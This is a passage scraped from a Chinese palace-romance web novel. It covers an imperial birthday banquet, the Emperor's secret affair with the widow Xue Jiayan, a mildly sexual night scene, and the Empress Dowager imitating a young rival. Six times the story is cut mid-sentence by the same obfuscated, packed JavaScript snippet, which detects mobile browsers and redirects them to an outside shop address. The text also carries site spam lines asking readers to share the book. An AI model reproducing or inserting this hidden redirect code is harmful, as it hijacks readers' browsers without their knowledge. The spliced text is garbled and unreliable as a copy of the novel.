不多时,轮到了宋静仪上前。她今日穿着一身水蓝色宫装,清新淡雅,脸上肌肤光洁如玉,并无半点“红疹的痕迹。传闻中的下毒风波,似乎不仅未损她分毫。 宋静仪袅袅婷婷地行礼,声音柔婉:“臣女 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 宋静仪,恭祝太后娘娘凤体安康,福寿绵长。臣女才疏学浅,并无甚拿得出手的才艺,唯有平日喜涂鸦几笔,今日斗胆,画了一幅牡丹图,为娘娘寿辰添一份心意。” 话音落,两名宫女便恭敬地抬着一幅装裱好的画轴上前,徐徐展开。但见尺素之上,数朵牡丹或以工笔细描,灼灼盛开,浓淡相宜,确是一幅上佳的牡丹图。 太后倾身细看,脸上露出满意的笑容,赞道:“画得极好,形神兼备,颇有富贵气象。哀家确是爱牡丹的,难为你有心。”她顿了顿,目光在画上空白处一扫,温和问道:“画既如此好,怎的不题上字?” 宋静仪脸颊适时地飞上两抹红晕,更添娇羞,她微微垂首,声音愈发轻柔:“臣女字迹拙劣,臣女斗胆,可否请娘娘……亲赐墨宝,题字其上?若能得娘娘一字,与此画共存,便是臣女天大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198883|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的福分了。” 太后闻言,却并未立刻答应,而是笑了起来,目光转向了下首的姜玄:“皇上,不若你来题字?也算是你和静仪,一同送给哀家的寿礼,岂不更妙?” 此言一出,殿内瞬间安静了几分。在场女眷们悄悄交换着眼神,对于宋家乃至太后的心思,大家早已心照不宣,此刻只看皇帝如何接招了。 姜玄面色沉静,目光先是在那幅牡丹图上停留片刻,随即,眼角的余光,却不由自主地扫了一眼殿门角落那个身影——薛嘉言略低着头,侧脸在昏暗光线下显得异常苍白紧绷,她并没有看过来。 太后见姜玄沉吟不语,目光甚至有些游移,竟似在瞧那不起眼的角落,心中不悦,面上却依旧含笑,催促道:“怎么?皇帝是觉得静仪的画配不上你的字,还是不愿给哀家这个面子?不过是题几个字罢了,心意到了便好,字迹好坏,哀家难道还会挑剔不成?” 此时,一直侍立在侧的沁芳早已机敏地捧上了早已备好的笔墨,躬身呈到姜玄案前。 姜玄缓缓站起身,走到沁芳捧着的笔墨前,执起那支紫毫笔,笔尖蘸墨,悬于画上空白处,沉稳落笔。先是“牡丹图”三个的大字,接着又在侧边题写了一行稍小的恭贺太后寿诞的吉祥诗句。 “好!皇帝的字,愈发进益了!”太后率先拊掌轻笑,眼中闪过满意之色。 姜玄轻笑一声,他这笔字也当得“进益”二字? 殿内立刻响起一片附和与赞叹之声。 “陛下墨宝,果然非同凡响!” “宋四姑娘的画精妙,陛下的字添彩,珠联璧合,正是献给太后最好的寿礼!” 在一片或真或假的赞誉声中,宋静仪盈盈下拜谢恩,脸颊绯红,眼中光彩流转。 第250章 倘若不入宫 角落里的薛嘉言在听到那一片“珠联璧合”的议论时一颗心骤然紧缩酸涩难捱。 这万寿宴上的热闹与风光与她全然无关。她只是那个被特召来目睹这一切的局外人。 姜玄负手而立宋静仪就站在他身侧稍后方她微微垂首露出一段优美纤弱的脖颈。 两人一挺拔一娇柔立在牡丹画作前果然如太后方才所言恍若一对璧人。 薛嘉言看着宋静仪青春明媚的眉眼看着她名正言顺地站在当今天子身侧接受着或真或假的艳羡与祝福。那是她薛嘉言穷尽一生也无法企及的位置。 她与他之间隔着礼法隔着身份她只能像个影子藏在最阴暗的角落看着他在光明处与别人演绎着天作之合。 心口像是被什么东西狠狠攥住又酸又胀几乎透不过气来。 薛嘉言眨了眨有些干涩的眼睛竭力压下眼底汹涌的湿意和心头翻腾的酸楚。唇角必须保持着那抹得体的、浅淡的的微笑。 寿宴正式开始前沁芳笑盈盈地向殿中女眷们传话:御花园中为庆贺太后寿辰特意摆放了诸多名贵鲜花 众人闻言自是欣然从命。 初春的御花园尚带着料峭寒意但阳光甚好洒在身上暖融融的。园中开阔处果然用各色精致瓷盆、花缸错落有致地摆放着许多牡丹、茶花、玉兰等。 那些花朵朵硕大颜色艳丽花瓣上甚至还洒上晶莹的露珠在日光下折射出眩目的光彩。 这些花卉是内务府花房耗费无数心力日夜用暖房炭火小心伺候才得以在这早春时节便绽放出如此灼灼芳华专为太后的寿辰添彩。 女眷们三三两两地聚在一处或品评花姿或低声谈笑衣香鬓影与花香混合在一起气氛轻松而愉悦。 因着近来朝廷对商贾之事的管束不再如先帝朝后期那般严苛许多勋贵之家也渐渐放下面子开始暗中经营些产业贴补用度至少对商事不再讳莫如深。故而倒也有几位相对年轻、对经营之事颇感兴趣的勋贵女眷主动上前与薛嘉言搭话。 薛嘉言心中虽装着事但面上丝毫不露依旧保持着温和得体的姿态轻声细语地回答着她们的问题从江南的软烟罗说到蜀地的云锦从塞外的皮**讲到海外的香料言之有物态度谦和倒也引得那几位女眷频频点头相谈渐洽。 一株魏紫牡丹花前太后正携着宋静仪的手含 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 笑说着什么。 宋静仪微微垂首,一副聆听教诲的恭顺模样,粉色的衣裙在深紫色牡丹的映衬下,愈发显得娇嫩。不知太后说了句什么,只见她抬起手,朝不远处正在与一位宗室贵妇说话姜玄,轻轻招了招。 姜玄略一颔首,便转身走了过来。他步履沉稳,面上并无多余表情,径直走到了太后与宋静仪面前。 这一幕恰被薛嘉言看到,她立刻强迫自己转开视线,将全部注意力放回眼前,与惠国公府的长媳讨论起“今春苏杭新出的流霞缎与往年有何不同”。 魏紫牡丹前,太后见姜玄走近,对姜玄道:“栖真,静仪她哥哥宋止,去年受了重伤,这阵子伤情反复,人也有些萎靡……她这做妹妹的,心里不知多难过。她在宫里前阵子又受了委屈,你快安慰安慰她。” 姜玄终是依着太后的意思,放缓了声音,低声询问道:“宋姑娘不必过于忧心。宋止的伤势,太医院一直着人精心调理,想来一定会有好转的。” 宋静仪听到皇帝亲自垂询,连忙敛衽行礼,声音带着几分哽咽:“臣女谢陛下关怀。兄长伤势……太医说已无性命之忧,只是恢复缓慢……” 太后在一旁看着,眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198884|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掠过一丝满意,很快便携着沁芳,转身朝另一个方向走去,留下了姜玄与宋静仪站在那株魏紫牡丹前。 薛嘉言这边,关于流霞缎的话题刚刚告一段落,一位女眷正说起自家也想采办些,请她帮忙留意。薛嘉言口中应着“一定”,心神却再次不由自主地飘散。她佯装不经意地调整了一下站姿,用极快的速度,再次将余光投向那株魏紫牡丹。 只见灼灼花影之下,只剩那一抹赭黄与一团粉霞相对而立。姜玄微微低着头,正对宋静仪说着什么,神情是他惯有的平静与威仪,但他与宋静仪相对而立的身影,还是狠狠扎进了薛嘉言的眼里,更扎进了她的心里。 灼灼盛放的魏紫牡丹前,姜玄与宋静仪相对而立。周围的贵妇仕女们早已心领神会,或是被宫人有意无意地引开,或是自觉避让,默契地在他们周围留出了一小片相对独立的空间。 春光和暖,花香袭人,这本该是极富诗意的场景,落在某些人眼中,却成了别样的煎熬。 姜玄的目光并未停留在宋静仪娇美的容颜上,虚虚看向牡丹花,想着苗菁查到的那些关于宋静仪的消息,心中早已有了计较。 姜玄声音很低,只有他们两人能听清,仿佛只是随口一问:“宋四姑娘,当真情愿入宫?” 宋静仪闻言,有些诧异,大胆地抬眸,飞快地看了姜玄一眼。她眼神清澈,带着与她年龄相符的灵动,也有一丝不易察觉的探究。 宋静仪默了片刻,声音不似方才在太后面前那般刻意放软的软糯,反而沉静平稳了许多,带着点与她外表不符的淡然:“陛下问臣女情愿与否……这重要吗?圣意、家命、时势在此,臣女的心意,又能改变什么呢?” 听到宋静仪这么回答,姜玄心道果然如此,他略一沉吟,继续问道:“倘若你不入宫,想过怎样的生活?” 第251章 病了 宋静仪沉默片刻,目光越过眼前的牡丹,仿佛看向了遥远的家乡:“臣女自幼长在杞州。杞州文风鼎盛,才子辈出,我们宋家更是一门三进士,祖上还曾出过状元、探花。那里的男子,多以读书科举为荣。 她顿了顿,语气染上一丝难以掩饰的遗憾,“只可惜,这文风,只在男子之间盛行。绝大多数的女子,莫说读书做文章,便是认得自己的名字,都是一种奢望。臣女……不过是侥幸,生在宋家,方能识得几个字,略读些诗书,明白些道理。 宋静仪眼中那点微光变得明亮而热切:“若是不必入宫,臣女曾痴心妄想,盼着能开一间女子书院,只收那些有天分、一心渴望识文断字的贫家女孩儿。不指望她们能考取功名,只愿她们能明白事理,不必一生浑噩。只是…… 她自嘲地笑了笑,“此愿恐怕终是痴人说梦,难成现实。 姜玄听着她娓娓道来,心中对苗菁的调查很是满意,宋静仪心中果然藏着这样一份不同于寻常闺阁女子的志向。 他面色不变,沉声问:“你有此心愿,可与家中长辈提过? 宋静仪声音低了几分,带着失落:“曾与母亲私下提过。母亲听后,未曾斥责,第二日便安排了府中几个伶俐的丫鬟到我房中,让我闲暇时教她们认几个字,权当解闷。 她抬起头,看向姜玄道:“臣女便也明白了,这是母亲能给的最大宽容。 “你家里考虑的,也并非全无道理。姜玄语气平淡,“此事若由你一个未出阁的姑娘家来做,确会引来无数非议,于宋家清誉有损。 宋静仪眼中的最后一点星火似乎也要熄灭了,她垂下眼帘,不再言语,只是安静地站着。 然而,姜玄话锋却在此刻一转,“但,历来能成大事、立新规者,又有几个是惧怕风浪与非议的? 宋静仪倏然抬眸,惊疑不定地看向姜玄,似乎想从他平静无波的脸上,确认这句话背后真正的含义。 姜玄迎着她的目光,继续道:“你若肯听话,按朕的意思行事……朕,未必不能帮你。 这句话,如同投入平静湖面的巨石,在宋静仪心中激起滔天巨浪!普天之下,倘若真有人能无视世俗眼光,有力量支持她实现那看似荒诞的梦想,除了眼前这位手握至高权柄的皇帝,还能有谁? 她强行压下翻涌的心绪,声音因激动而微微发颤:“皇上……此言当真?皇上想让臣女做什么?臣女定当竭尽全力! 姜玄却并未立刻回答,只是将目光投向远处熙攘 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 赏花的人群,仿佛在寻找什么,又仿佛只是在思考。片刻后,他才收回视线,淡淡道:“具体要做什么,容后再议。时机到了,你自会知晓。” 筵席终了,丝竹渐歇。太后面露倦色,由沁芳扶着先行起驾回宫。殿内女眷们这才依着品级位次,依次敛衽行礼,鱼贯退出颐安殿。 薛嘉言混在命妇队列的末尾,始终低垂着头,目不斜视地盯着自己裙摆前寸许的地面,随着人潮向外移动。 她脑中仿佛还萦绕着御花园牡丹前那刺眼的一幕,心口酸涩憋闷,只想快些离开皇宫。 姜玄端坐御座之上,眼神不由自主去寻找薛嘉言。他见她一直低着头,脚步匆匆,混在人群中几乎看不见脸,心中只道她是谨慎,此刻人多眼杂,她这般避嫌也是常理。 薛嘉言浑浑噩噩地出了宫门,坐上自家的青帷小车。车厢内只剩下她一人时,那股强压了一整日的酸楚、委屈、自惭形秽,如同决堤的洪水般汹涌而来,冲击得她头晕目眩。胸口闷得厉害,像压了一块巨石,连带着胃里也一阵阵翻搅不适。 马车在戚家侧门停稳,薛嘉言扶着拾英的手下车,脚下一软,险些没站稳。拾英吓了一跳,连忙用力搀住:“主子,您怎么了?脸色这么白?” 薛嘉言摆摆手,想说无事,喉间却涌上一股强烈的恶心感,她忙捂住嘴,快步走进内院,刚到廊下,便忍不住扶着柱子干呕了两声,却只吐出些酸水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198885|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “主子!”紧随其后的司雨吓得脸都白了,忙上前扶住她另一边胳膊,连声道,“快进屋歇着!婢子去给您沏碗浓茶来压一压!” 薛嘉言被搀进春和院的内室,靠在榻上,只觉得浑身无力,心口的憋闷和胃里的不适交织在一起,难受得紧。 司雨手脚麻利地端来滚热的浓茶,薛嘉言接过来漱了漱口,勉强压下些许恶心,可没过多一会儿,那翻江倒海的感觉又涌了上来,这次呕得更厉害些,眼泪都呛了出来。 拾英在一旁急得团团转,一边替薛嘉言拍背,一边飞快地在心里计算着日子。薛嘉言的月信刚过去没两日,按理绝不会是害喜。她忧心忡忡地问:“主子,是不是今日宫里的筵席,吃了什么不干净、或是与您体质不合的东西?” 薛嘉言呕得眼冒金星,靠在引枕上微微喘息,有气无力地摇了摇头:“应该……不是。我今日没甚胃口,只喝了几口茶,吃了一块茯苓糕……那糕点是御膳房统一备的,旁人也都用了,未见异常。” 拾英见她脸色苍白如纸,唇上都没了血色,哪里敢耽搁,连忙吩咐司雨:“快去,请张大夫来!要快!” 不多时,张大夫便提着药箱匆匆赶来。望色、切脉、问诊,一番仔细查看下来,张大夫眉头微蹙,却也未瞧出什么明显的急症或**迹象。脉象略显弦细,似是肝气有些郁结,心脉略显虚浮,像是受了什么刺激或忧思过度,但并无器质性病变,也不像是有孕。 “薛娘子,”张大夫斟酌着语句,“依老夫看,您这症候像是心绪不宁,肝气郁结,加之可能今日劳累、吹了风,引得脾胃一时失调,气逆上冲所致。我先开一剂温和疏理、宁心安神的方子,您服用看看。最要紧的是需放宽心怀,静心调养,勿再劳神忧虑。” 送走大夫,看着司雨急忙去抓药煎药,拾英扶着薛嘉言躺下,替她掖好被角,心中的忧虑却半点未减。 夜色渐深,长宜宫,姜玄揉着眉心稍作休息,张鸿宝悄无声息地快步走了进来,低声禀告了薛嘉言的病情。 第252章 醋意 姜玄揉眉心的手猛地顿住,倏然抬眸,眼神锐利:“突发不适?可诊出是何病症?严重吗?” 张鸿宝连忙将得到的消息仔细回禀:“说是心口憋闷,呕吐了几回,大夫诊了脉,未发现**或急症,只说是……心绪不宁,肝气郁结,脾胃失调所致。开了温养的方子。但递话的人说,薛主子脸色极差,精神也十分不济。” 姜玄霍然起身,随手抓过一件玄色斗篷披上,声音急切,“朕要出宫!立刻!” “陛下,此刻宫门已下钥,且夜深……”张鸿宝试图提醒。 “朕知道!”姜玄打断他,眼神沉郁如夜,“走西华门,你去安排,动静小些,但要快!” 早已得了信的拾英在廊下焦急等候,见到皇帝身影,连忙上前无声行礼。 “她怎么样了?”姜玄脚步未停,一边快步往里走,一边急声问道。 拾英紧跟其后,低声回禀:“回皇上,主子喝了煎好的药,已经睡下了。大夫诊过,说并无大碍,只是……主子睡前一直按着心口,说那里闷得慌,不舒服。” 听到“并无大碍”四字,姜玄紧绷的心弦略松了松,他不再多问,径直走到春和院内室门前,轻轻推门而入。 室内只留了一盏昏暗的床头小灯,光线朦胧。薛嘉言面朝墙壁侧躺在床榻里侧,身上盖着锦被,只露出乌黑的发顶和半边苍白的脸颊轮廓。 姜玄放轻脚步走到榻边坐下,他伸手探进被中,掌心贴上她单薄寝衣覆盖的腰肢,俯下身,凑近她耳边,轻轻唤道:“言言……言言……” 榻上的人儿一动不动,呼吸似乎平稳,仿佛真的沉沉睡去了。 姜玄蹙了蹙眉。他记得清楚,薛嘉言素来觉浅,稍有动静便会惊醒,从前他夜里来,哪怕脚步再轻,她也总能感知。今日他唤了这许多声,她却毫无反应……莫非是药力所致?还是……故意不理他? 他心中微动,以为她是在同自己玩闹,故意装睡,手上加了点力道,指尖在她腰侧软肉上不轻不重地捏了捏。 果然,薛嘉言的身子猛地一颤,往墙壁方向缩了缩,忍不住扭动了一下腰肢,试图摆脱他作乱的手指,喉咙里溢出几声闷哼,却依旧倔强地不肯转身,甚至将脸往枕头里埋得更深了些。 姜玄见状,低低地轻笑了一声,语气更软了几分,带着哄劝:“还装呐?快转过来,让我好好瞧瞧你,跟我说说话。” 薛嘉言对他的话恍若未闻,依旧背对着他,只有微微发抖的肩膀泄露了她并非真的无动于衷。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 姜玄心中有些不安,他半跪起身,一手撑在榻上,另一手小心地扶着她的肩膀,探过头去,非要看看她的脸。 朦胧的灯光下,只见薛嘉言紧闭着双眼,长长的睫毛湿漉漉地黏在一起,眼角处泪痕宛然,眼窝里还蓄着一汪将落未落的泪水。她咬着下唇,鼻尖通红,显然是在压抑着自己不要哭出来。 姜玄的心被狠狠揪了一把,他失声急问:“言言!你怎么了?是不是哪里疼?还是难受得厉害?”他慌忙将她连人带被地抱起来,搂在怀里,掌心抚上她的脸颊,触手一片冰凉湿意。 薛嘉言被他抱起来,却依旧不肯睁眼看他,只是将脸埋在他胸前,压抑的抽噎声断断续续地传出。她觉得自己这醋吃得毫无道理,更没有立场向他抱怨什么,可心头的酸楚和委屈却像潮水般将她淹没,无法自控。 见她只是哭,却不说话,姜玄急得手足无措,以为她是病痛难忍,迭声道:“言言,你告诉我,到底哪里不舒服?我这就让人去叫太医,马上就去!你别怕……”他说着就要起身唤人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198886|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不要……”薛嘉言终于开口,声音嘶哑得厉害,带着浓重的鼻音。她伸出手,紧紧地攥住了姜玄胸前的衣襟,闷闷的、带着委屈,哑声道:“不要叫太医……我没病。” 姜玄见她终于肯开口说话,长长舒出一口气。他取出帕子,动作轻柔地拭去她脸上斑驳的泪痕,指腹怜惜地抚过她微肿的眼睑,柔声道:“言言,好了,不哭了。告诉我,到底为了什么事,心里这样不痛快?嗯?” 薛嘉言却偏过头,赌气似的说道:“没什么。皇上日理万机,眼下又是选秀立后的要紧时候,何必……何必又跑到我这里来。”话里带着刺,也带着浓浓酸意。 姜玄将她的小动作和语气里的别扭看得分明,温声道:“我听说你从宫里回去就病了,吐得厉害,心里着急,自然要立刻来看你。什么日理万机,什么选秀,都比不上你身子要紧。” “皇上看过了,我没事。”薛嘉言依旧不肯看他,“不过是吹了风,一时不适罢了。您……您赶紧回去吧,让人瞧见不好。” 姜玄便是再迟钝,此刻也完全确定她是在生气了,而且这气性还不小。他非但不恼,心底反而泛起一丝隐秘的甜。他低下头,在她微微嘟起的唇上轻轻啄了一下,带着诱哄的意味:“是因为今日寿宴上的事?” 被他点破,薛嘉言心中那点强撑的硬气顿时泄了大半,委屈如同潮水般再次漫上来,冲得她鼻尖发酸。 她忍了又忍,终究没忍住,哽咽着,控诉道:“你……你都没给我的画题过字……” 话一出口,她自己先愣住了,随即羞恼涌上,暗骂自己怎会说出如此幼稚又直白的话来,简直像是在争宠。 姜玄闻言,忍不住弯了嘴角。他伸手,捏了捏她的脸颊,回道:“你怎么知道我没题过?” 薛嘉言抬起泪光迷蒙的眸子,疑惑地看着他。 第253章 拈酸吃醋 姜玄将她往怀里带了带,贴着她耳畔,声音低沉含笑:“你不是画过一幅菊花图?我觉得那菊花的姿态极好,有风骨,试过在上面题字。 他顿了顿,语气带了点赧然,“不过,你也知道,我的字……匠气重,远谈不上风雅,写在那幅清逸的菊花旁边,怎么看怎么别扭,所以没好意思拿给你看。 薛嘉言蹙眉想了片刻。 前年秋天……她确实画过菊花,画完觉得不满意,便让拾英收拾了去。难道……那些她以为早已被丢弃的废稿,竟被拾英收了起来,还送到了姜玄那里?思及此,她心中那团郁结的酸醋,仿佛被注入了一缕清甜的微风,悄悄散开了一些。 但是,一想到今日御花园中,他与宋静仪并肩立在牡丹图前,太后含笑注视,众人心照不宣的场景,那点刚刚升起的暖意又被冰冷的现实压了下去。 薛嘉言垂下眼,声音里带着挥之不去的黯然和醋意:“那……那又如何。我那些不过是见不得光的涂鸦,扔了也就扔了。比不得宋姑娘,牡丹国色,又能与你光明正大地站在一处。将来……她若做了你的皇后,你们自是琴瑟和鸣,举案齐眉,到时候……哪里还会记得我…… “胡说什么!姜玄听她越说越离谱,越说越自伤,低头便吻住她未尽的话语。 直到薛嘉言被吻得气息紊乱,几乎透不过气,他才稍稍退开些许,额头抵着她的,喘息粗重,眼底是浓得化不开的深情与愉悦,他喜欢她这拈酸吃醋的模样。 他哑着嗓子道:“怎么办,喜欢你喜欢到不行了。 薛嘉言被他吻得晕晕乎乎,又被这直白炽烈的情话烧红了脸,心中委屈和醋意,在他灼热的目光和怀抱里,早已融化了大半。 “你还说我,你与苏辞一起赏梅,一起吃羊汤,难道我知道了心里就好受? 薛嘉言解释道:“他是我从小长大的玩伴…… 姜玄哼了一声:“他对你什么心思,你真以为我不知道? 薛嘉言脸上有些热,想到赏梅后他送来的梅花盆景,再想到周掌柜莫名其妙送来的羊和厨娘,她还有什么不明白的。 心头有些甜蜜,薛嘉言仍旧倔强道:“可我心里只有你,我都跟他说清楚了,你却得娶旁人! 姜玄听到她的表白,心中更是得意,唇再次覆了上来,比刚才更急切,更缠绵,手也不安分地探入寝衣,抚上她的肌肤,所过之处,点燃一簇簇战栗的火苗。 在情潮翻涌、意识迷离的间隙,他滚烫的唇贴着她的耳廓,喘息 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 着,一遍又一遍,坚定而清晰地告诉她:“言言,放心,我心里只有你……从来都只有你……其” 他的身体力行地表达自己的爱意,驱散薛嘉言心中的不安与酸涩。 薛嘉言被他或温柔或急切地反复索求,折腾到酸软得没有一丝力气,只能软软地瘫在他坚实滚烫的怀里。 待到云歇雨住,帐内只余彼此交缠的呼吸与未散的旖旎气息。薛嘉言像只餍足的猫儿,蜷在姜玄汗湿的胸膛上,微微抬起眼,借着帐外透进的微光,看着姜玄闭目养神的侧脸,犹豫了片刻,还是忍不住将盘旋已久的疑惑轻声问了出来:“太后是故意这么做的吧?我总觉得……她待你的态度,有些……有些奇怪。” 她顿了顿没好意思接着说,前年姜玄生辰那夜的事,那夜太后的突然闯入,让她惊吓得同时,颇觉得怪异。 姜玄低声道:“言言,别多想。太后只是执着于让我娶宋家女,以巩固宋家地位和她自身的权势罢了。今日种种,包括以往的一些举动,多半都是为此。她是太后,有些事……即便逾越,我也需顾全她的颜面与皇家体统。” 薛嘉言听他这般解释,虽然心中那点古怪的感觉并未完全消散,但见他似乎不愿多谈,便也乖巧地没有再继续追问下去。 长乐宫寝殿内,太后斜倚在软榻上,鎏金瑞兽香炉中吐出袅袅青 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“娘娘息怒,”沁芳察言观色,小心翼翼地开口劝慰,“皇上毕竟是年轻男子,血气方刚。如今后宫空虚,身边没个可心人儿服侍,总需……有个疏解的去处。那薛氏,不过是个现成的玩意儿罢了。眼下选秀在即,新人马上就要入宫了,到时候环肥燕瘦,青春娇艳的贵族姑娘们围绕身边,难道皇上还能放着这么多名门淑女不要,偏偏去临幸一个寡妇不成?” 是啊,男人贪鲜恋色是常情,但新鲜劲过去,面对更多、更好的选择时,那点旧情又能维持多久?太后脸色稍霁,淡淡道:“你说的,也有几分道理。” 正说着,殿外有宫女轻轻叩门,禀告道:“启禀太后娘娘,宋四姑娘已将您吩咐的《金刚经》抄写完毕,正在殿外候着。” “让她进来吧。”太后敛了神色,恢复了平日的雍容。 第254章 像吗? 不多时,宋静仪捧着一叠抄写工整的经文,款步走了进来。她穿着一身橘粉色云锦交领衣裙,乌发如墨,梳作三小髻,髻心簪着几朵精巧的点翠小蝶簪,行动间蝶翼微颤,看起来很是娇俏。 宋静仪行至榻前,宋静仪屈膝行礼,然后将经文双手奉上:“臣女已抄写完经文,请太后娘娘过目。 沁芳接过,呈到太后面前。太后随手翻了两页,但见字迹清秀工整,笔锋间隐见筋骨,显然是下了功夫用心写的。她点了点头,脸上露出几分满意的笑容:“难为你抄得这般认真,字也进益了。有心了。 “能为娘娘抄经祈福,是臣女的福分。宋静仪垂首温顺地答道,姿态恭谨无比。 太后示意她起身,借着明亮的宫灯光辉,细细打量起眼前的少女。 灯光柔和,映照着宋静仪年轻姣好的面容。嗯,祖母说得没错,这孩子生得的确有几分她的神韵,眉目间依稀能看出几分自己年轻时的清丽风华,尤其是那双眼睛,沉静时自有股书卷气。 只是……太后的目光挑剔地扫过她的肌肤和眉形。这丫头的肤色,不如自己这般白皙莹润,少了份欺霜赛雪的冷艳;眉毛也生得过于秀气婉约,少了点英气…… “娘娘……宋静仪被太后那仿佛带着尺子丈量的目光看得有些不自在,低低唤了一声,抬眸飞快地看了太后一眼,又迅速垂下。 太后回过神来,收回目光,转向侍立一旁的沁芳,语气平淡地吩咐道:“叫太医院的王逸云,开个稳妥有效的白肤方子来,给静仪好好养一养这皮色。女儿家,肤色白皙些,总是更显贵气。 宋静仪闻言,下意识地抬手轻轻摸了摸自己的脸颊,触手是年轻肌肤特有的弹性和滑腻。她又偷偷抬眼,飞快地瞥了一眼太后那张粉白细腻的完美面容,心中了然。 她立刻收敛了所有心思,脸上绽开带着感激与羞涩的微笑,盈盈下拜:“臣女谢太后娘娘恩赏,娘娘关怀,静仪感念于心。 太后满意地点了点头。 这夜,太后沐浴过后,只着了一身素白柔软的寝衣,坐在妆台前。沁芳执着**梳,一下下为她梳理着那一头丰茂乌黑的秀发,忽听太后问道:“哀家的衣柜里,可有橘粉色的衣裳? 沁芳愣了愣,仔细回想了一下,自先帝过世后,太后的衣裳颜色以沉静雍容之色为主,确实没有橘粉这种明亮娇俏的颜色。 沁芳斟酌了一下回道:“禀娘娘,您进宫时带来的衣裳里倒是有两件橘粉色的,得去箱笼里翻找翻找。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 太后道:“那便翻找出来吧。” 沁芳不敢怠慢,带人去了库房,打着灯找了好一会,才找出来一身颜色依旧鲜亮、样式却早已过时的橘粉色衣裙,又赶紧让人熨烫好了,熏了香,这才送到寝宫里。 太后瞧见那一身衣裳,眼睛里倏然闪过一道奇异的光彩,由沁芳亲自伺候她更衣。 十年过去,太后因未生育,体型并无什么大的变化,这件衣裳依旧合身。橘粉的颜色衬得太后原本就白皙的肌肤愈发白嫩,也柔和了她眉宇间常年累积的威严与冷寂,竟奇迹般地让她看起来年轻了好几岁。 “给哀家梳个三小髻,好多年没梳这个发式了。”太后声音低低的,带着伤感。 沁芳细心地为太后梳发,挽发,等梳好发髻,不必太后说,她找出来一对蝴蝶簪子,给太后簪上。又拿出胭脂轻点朱唇,让太后的气色看得更好一些。 太后对着镜中那个身着橘粉衣裙、头梳少女发髻、簪着蝴蝶簪的身影,静静地、久久地凝视着。 她的眼神却有些游离,仿佛透过镜中的自己,看到了遥远的过去,或是别的什么影子。 太后缓缓抬起手,轻轻抚过自己光滑的脸颊,低声问侍立在一旁的沁芳:“像吗?” 像谁,她没有明说,沁芳却也已经明白。 太后和宋静仪在眉眼间生得相似,但太后比宋静仪大了十二岁,又做了这么多年的皇后、太后,气质早已沉淀的雍容华贵、威仪天成。若说形貌,确有几分相似;但若论神韵气质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198888|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又怎么可能真的全然一样? 沁芳心中酸楚,却微笑着道:“有些像,只是四姑娘到底比不上娘娘的风华绝代。” 太后闻言有些意兴阑珊,淡淡道:“卸了吧。” 次日清晨,储秀宫一间寝室内,晨光透过雕花窗棂,洒下一室明亮。 专司梳妆的宫女手脚轻巧地为宋静仪梳理发髻,盘绕簪戴,一切如常。待到描画眉形时,那宫女拿起眉刀,将宋静仪原本天生细细弯弯的眉毛,小心翼翼地修去了些许过于秀气的尾端,然后用螺子黛,细细地描绘起来。 